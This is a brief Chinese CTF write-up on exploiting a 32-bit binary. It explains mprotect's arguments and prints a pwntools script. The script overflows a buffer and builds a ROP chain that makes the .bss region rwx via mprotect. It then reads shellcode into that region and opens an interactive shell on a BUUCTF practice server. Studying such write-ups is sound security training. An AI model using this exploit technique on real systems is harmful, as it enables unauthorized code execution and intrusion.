32位程序,主要是mprotect函数的改写权限和rop链的构造
    Linux系统调用号

    关于mprotect函数

    1. int mprotect(void *addr, size_t len, int prot);
    2. addr 内存启始地址
    3. len 修改内存的长度
    4. prot 内存的权限

    内存权限设置
    mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)
    image.png
    大概流程图
    image.png

    1. from pwn import *
    2. content = 0
    3. context(os='linux', arch='x86', log_level='debug')
    4. elf = ELF('get')
    5. bss_addr = 0x080EB000
    6. read_plt = elf.symbols['read']
    7. mprotect = elf.symbols['mprotect']
    8. popx3_ret = 0x0804AF9A
    9. def main():
    10. if content == 1:
    11. peiqi = process('get')
    12. else:
    13. peiqi = remote('node3.buuoj.cn',27586)
    14. shellcode = asm(shellcraft.sh())
    15. payload = b'a' * 0x38
    16. payload = payload + p32(mprotect) + p32(popx3_ret)
    17. payload = payload + p32(bss_addr) + p32(0x200) + p32(0x7)
    18. payload = payload + p32(read_plt) + p32(bss_addr) + p32(0) + p32(bss_addr) + p32(0x200)
    19. peiqi.sendline(payload)
    20. peiqi.sendline(shellcode)
    21. peiqi.interactive()
    22. main()

    image.png